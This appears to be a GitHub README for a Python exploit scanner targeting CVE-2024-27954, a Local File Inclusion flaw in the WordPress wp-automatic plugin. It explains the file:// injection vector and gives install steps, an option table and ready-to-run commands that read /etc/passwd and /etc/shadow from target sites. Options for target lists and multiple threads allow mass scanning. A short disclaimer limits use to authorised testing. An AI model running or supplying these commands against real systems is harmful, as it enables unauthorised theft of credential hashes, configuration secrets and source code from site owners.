r0otk3r/cve-2024-27954Python-based scanner for CVE-2024-27954, a Local File Inclusion vulnerability in the WordPress wp-automatic plugin. Supports multithreaded scanning, proxy integration, and custom file path testing.
This project provides a Python-based Local File Inclusion (LFI) vulnerability scanner targeting CVE-2024-27954, a critical flaw found in the WordPress plugin wp-automatic. The vulnerability allows unauthenticated attackers to read arbitrary files on the server using a file:// injection vector.
wp-automatic Plugin/etc/passwd, config files, source code)link parameter using file:// schemerequests moduleInstall dependencies:
pip install requests
python3 CVE-2024-27954.py --url http://TARGET --lfi-path /etc/passwd
| Argument | Description |
|---|---|
--url | Single target URL (e.g. http://TARGET:8080) |
--list | File containing list of target URLs (one per line) |
--lfi-path | Single file path to test (default: /etc/passwd) |
--paths-file | File with multiple file paths (one per line) |
--proxy | Proxy (e.g. http://127.0.0.1:8080) |
--output | File to save vulnerable results |
--threads | Number of concurrent threads (default: 3) |
python3 CVE-2024-27954.py --url "http://TARGET" --lfi-path /etc/passwd --proxy "http://127.0.0.1:8080" --output results.txt
python3 CVE-2024-27954.py --url "http://TARGET" --lfi-path /etc/shadow --proxy "http://127.0.0.1:8080" --output results.txt
This tool is intended for educational and authorized penetration testing purposes only. Unauthorized access to systems may be illegal. Use responsibly.